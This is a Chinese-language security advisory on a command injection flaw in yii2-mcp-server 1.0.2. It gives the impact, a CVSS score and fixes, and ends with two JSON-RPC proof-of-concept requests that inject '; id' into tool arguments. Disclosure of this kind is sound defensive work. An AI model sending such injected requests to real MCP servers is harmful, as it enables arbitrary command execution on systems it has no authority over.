# Yii2-MCP-Server 命令注入漏洞总结 ## 漏洞概述 在 `yii2-mcp-server` 版本 1.0.2 中发现了一个命令注入漏洞(CWE-78)。该漏洞存在于 `yii_command_help` 和 `yii_execute_command` 命令辅助工具中。服务器通过拼接用户提供的参数(如 `command` 和 `args`)直接构建 shell 命令字符串,并使用 `child_process.exec` 执行,未对特殊字符进行转义或过滤。攻击者可通过网络访问 MCP 接口注入 shell 元字符(如 `;`、`|`),以服务器进程权限执行任意系统命令。 ## 影响范围 * **受影响版本**:1.0.2 * **受影响组件**:`src/index.ts`、`src/yii2.ts` * **安全影响**: * **机密性**:高(可读取环境变量、应用密钥、数据库凭证等)。 * **完整性**:高(可修改文件、应用状态)。 * **可用性**:高(可终止进程、删除数据、耗尽资源)。 * **CVSS v3.1 评分**:8.8 (High) ## 修复方案 1. **避免拼接字符串**:不要使用拼接字符串的方式构建 shell 命令。 2. **使用安全执行方式**:将 `exec` 或 `execAsync` 替换为 `execFile` 或 `spawn`,并使用参数数组传递参数(例如 `spawn('php', [this.yiiScript, 'help', command], { shell: false })`)。 3. **输入验证**:验证 `command` 和 `args` 是否符合预期的 Yii 命令名称和选项格式。 4. **拒绝非法字符**:拒绝包含 shell 元字符和不受支持参数的 MCP 请求。 5. **统一执行模式**:对所有构建 shell 字符串的方法应用相同的安全执行模式。 6. **回归测试**:添加针对 `;`、`|`、`$()` 等注入载荷的回归测试。 ## POC 代码 **1. 利用 `yii_command_help` 工具:** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "yii_command_help", "arguments": { "command": "migrate/status; id" } } } ``` **2. 利用 `yii_execute_command` 工具:** ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "yii_execute_command", "arguments": { "command": "help", "args": ["migrate/status;", "id"], "interactive": false } } } ```